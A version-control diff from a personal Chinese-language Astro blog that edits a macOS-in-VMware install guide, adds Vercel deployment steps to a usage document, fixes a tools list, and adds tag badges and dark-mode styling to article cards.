#### . 下载 qemu 之后,双击 qemu-w64-setup 程序进行安装
安装完毕后,和之前打开命令行的方法一样,打开cmd命令行进入`com.apple.recovery.boot`文件夹
@ -89,7 +89,7 @@ CPU配置处理器数量:1,内核数量:自定义
## 六.开始安装
### 1.打开VMWare虚拟机开启虚拟机电源虚拟机会自动进入引导界面
### 1.打开VMWare虚拟机开启虚拟机电源虚拟机会自动进入引导界面
### 2.选择语言
@ -104,7 +104,7 @@ CPU配置处理器数量:1,内核数量:自定义
安装完成进入系统之后,需要安装 vmware-tools 工具,这样才可以调整窗口分辨率以及开启 HiDPI。右键点击 VMware 虚拟机管理界面的虚拟机选项即可看到 安装 vmware-tools 工具选项,点击后虚拟机内会弹出安装界面,按照提示一步步安装,然后重启即可。
## vmware安装苹果虚拟机卡在苹果图标位置不动或者最新AMD客户机操作系统已禁用 CPU。请关闭或重置虚拟机
## vmware安装苹果虚拟机卡在苹果图标位置不动或者最新AMD客户机操作系统已禁用 CPU。请关闭或重置虚拟机
修改虚拟机目录下`macOS 13.vmx`文件末尾加入

View File

@ -1,11 +1,9 @@
---
title: "博客使用说明"
title: "echoes博客使用说明"
date: 2025-03-09T01:07:23Z
tags: []
---
# 博客使用说明
这是一个基于 Astro + React 构建的个人博客系统,具有文章管理、项目展示、观影记录、读书记录等功能。本文将详细介绍如何使用和配置这个博客系统。
## 功能特点
@ -82,6 +80,7 @@ tags: ["标签1", "标签2"]
### 文章列表展示
文章列表页面会自动获取所有文章并按日期排序展示,支持:
- 文章标题和摘要
- 发布日期
- 标签系统
@ -90,30 +89,35 @@ tags: ["标签1", "标签2"]
## 项目展示
项目展示页面会自动从配置的 Git 平台获取你的项目信息,展示:
- 项目名称和描述
- Star 和 Fork 数
- 主要编程语言
- 最后更新时间
要启用项目展示,需要:
1. 在 `consts.ts` 中配置相应平台的用户名
2. 如果需要访问私有仓库,配置相应的访问令牌
## 观影和读书记录
系统会自动从豆瓣获取你的观影和读书记录,展示:
- 电影/书籍封面
- 标题
- 评分
- 观看/阅读日期
要启用此功能,需要:
1. 在 `consts.ts` 中配置你的豆瓣 ID
2. 确保你的豆瓣观影/读书记录是公开的
## 旅行地图
世界地图会根据 `VISITED_PLACES` 配置自动标记你去过的地方。支持:
- 中国省份级别的标记
- 世界国家级别的标记
- 交互式缩放和平移
@ -122,6 +126,7 @@ tags: ["标签1", "标签2"]
## 主题切换
系统支持三种主题模式:
1. 跟随系统
2. 手动切换浅色模式
3. 手动切换深色模式
@ -131,6 +136,7 @@ tags: ["标签1", "标签2"]
## 性能优化
本博客系统采用了多项性能优化措施:
1. 静态页面生成
2. 图片懒加载
3. 代码分割
@ -139,7 +145,10 @@ tags: ["标签1", "标签2"]
## 部署说明
### 传统部署
1. 构建项目:
```bash
npm run build
```
@ -148,6 +157,34 @@ npm run build
3. 将 `dist` 目录部署到你的服务器或静态托管平台
### Vercel 部署
Vercel 提供了最简单的部署方式,只需要几个步骤:
1. 在 GitHub 上创建你的项目仓库并推送代码
2. 访问 [Vercel](https://vercel.com) 并使用 GitHub 账号登录
3. 点击 "New Project",然后选择你的博客仓库
4. 配置部署选项:
- Framework Preset: 选择 "Astro"
- Build Command: 保持默认的 `npm run build`
- Output Directory: 保持默认的 `dist`
- Install Command: 保持默认的 `npm install`
5. 点击 "Deploy" 按钮
部署完成后Vercel 会自动为你的项目分配一个域名。你也可以在项目设置中添加自定义域名。
**优势:**
- 自动构建和部署
- 自动 HTTPS
- 全球 CDN
- 自动预览部署(每个 PR 都会生成预览链接)
- 零配置持续部署
## 常见问题
1. **图片无法显示**
@ -166,6 +203,7 @@ npm run build
## 更新日志
### 2024-03-21
- 初始版本发布
- 支持基本的博客功能
- 集成豆瓣数据展示
@ -186,7 +224,3 @@ npm run build
1. 代码符合项目的代码风格
2. 新功能有适当的测试覆盖
3. 文档已经更新
## 许可证
本项目采用 MIT 许可证。

View File

@ -134,7 +134,7 @@ date: 2023-04-28T20:56:00Z
* [OpenSSH](https://www.openssh.com/)SSH连接工具
* `Wget` `curl`:从网络上获取或发送数据
* [vim](https://www.vim.org/):文本编辑器
* [Git](https://git-scm.com/)<sup>:</sup> 分布式版本控制系统
* [Git](https://git-scm.com/)分布式版本控制系统
* [Zsh](https://www.zsh.org/)是一款功能强大、灵活可定制的shell
* [哪吒面板](https://nezha.wiki/):服务器监控与运维工具
* [screenfetch](https://github.com/KittyKatt/screenFetch):屏幕截图

View File

@ -322,10 +322,10 @@ function getArticleUrl(articleId: string) {
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 20H5a2 2 0 01-2-2V6a2 2 0 012-2h10a2 2 0 012 2v1m2 13a2 2 0 01-2-2V7m2 13a2 2 0 002-2V9a2 2 0 00-2-2h-2m-4-3H9M7 16h6M7 8h6v4H7V8z" />
</svg>
</div>
<div class="ml-3 flex-1">
<div class="ml-3 flex-1 min-w-0">
<h3 class="font-bold text-base text-gray-800 dark:text-gray-100 group-hover:text-primary-700 dark:group-hover:text-primary-300 transition-colors line-clamp-2">{article.data.title}</h3>
{article.body && (
<p class="text-xs text-gray-600 mt-1 line-clamp-2">
<p class="text-xs text-gray-600 dark:text-gray-400 mt-1 line-clamp-2 break-words">
{extractSummary(article.body)}
</p>
)}
@ -333,8 +333,17 @@ function getArticleUrl(articleId: string) {
<time datetime={article.data.date.toISOString()}>
{article.data.date.toLocaleDateString('zh-CN', {year: 'numeric', month: 'long', day: 'numeric'})}
</time>
<span class="text-primary-600 font-medium">阅读全文</span>
<span class="text-primary-600 font-medium truncate ml-2">阅读全文</span>
</div>
{article.data.tags && article.data.tags.length > 0 && (
<div class="flex flex-wrap gap-2 mt-2">
{article.data.tags.map(tag => (
<span class="text-xs bg-primary-50 dark:bg-primary-900/30 text-primary-600 dark:text-primary-400 py-1 px-2 rounded-full">
#{tag}
</span>
))}
</div>
)}
</div>
</div>
</a>
@ -383,10 +392,10 @@ function getArticleUrl(articleId: string) {
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 20H5a2 2 0 01-2-2V6a2 2 0 012-2h10a2 2 0 012 2v1m2 13a2 2 0 01-2-2V7m2 13a2 2 0 002-2V9a2 2 0 00-2-2h-2m-4-3H9M7 16h6M7 8h6v4H7V8z" />
</svg>
</div>
<div class="ml-3 flex-1">
<div class="ml-3 flex-1 min-w-0">
<h3 class="font-bold text-base text-gray-800 dark:text-gray-100 group-hover:text-primary-700 dark:group-hover:text-primary-300 transition-colors line-clamp-2">{article.data.title}</h3>
{article.body && (
<p class="text-xs text-gray-600 mt-1 line-clamp-2">
<p class="text-xs text-gray-600 dark:text-gray-400 mt-1 line-clamp-2 break-words">
{extractSummary(article.body)}
</p>
)}
@ -394,8 +403,17 @@ function getArticleUrl(articleId: string) {
<time datetime={article.data.date.toISOString()}>
{article.data.date.toLocaleDateString('zh-CN', {year: 'numeric', month: 'long', day: 'numeric'})}
</time>
<span class="text-primary-600 font-medium">阅读全文</span>
<span class="text-primary-600 font-medium truncate ml-2">阅读全文</span>
</div>
{article.data.tags && article.data.tags.length > 0 && (
<div class="flex flex-wrap gap-2 mt-2">
{article.data.tags.map(tag => (
<span class="text-xs bg-primary-50 dark:bg-primary-900/30 text-primary-600 dark:text-primary-400 py-1 px-2 rounded-full">
#{tag}
</span>
))}
</div>
)}
</div>
</div>
</a>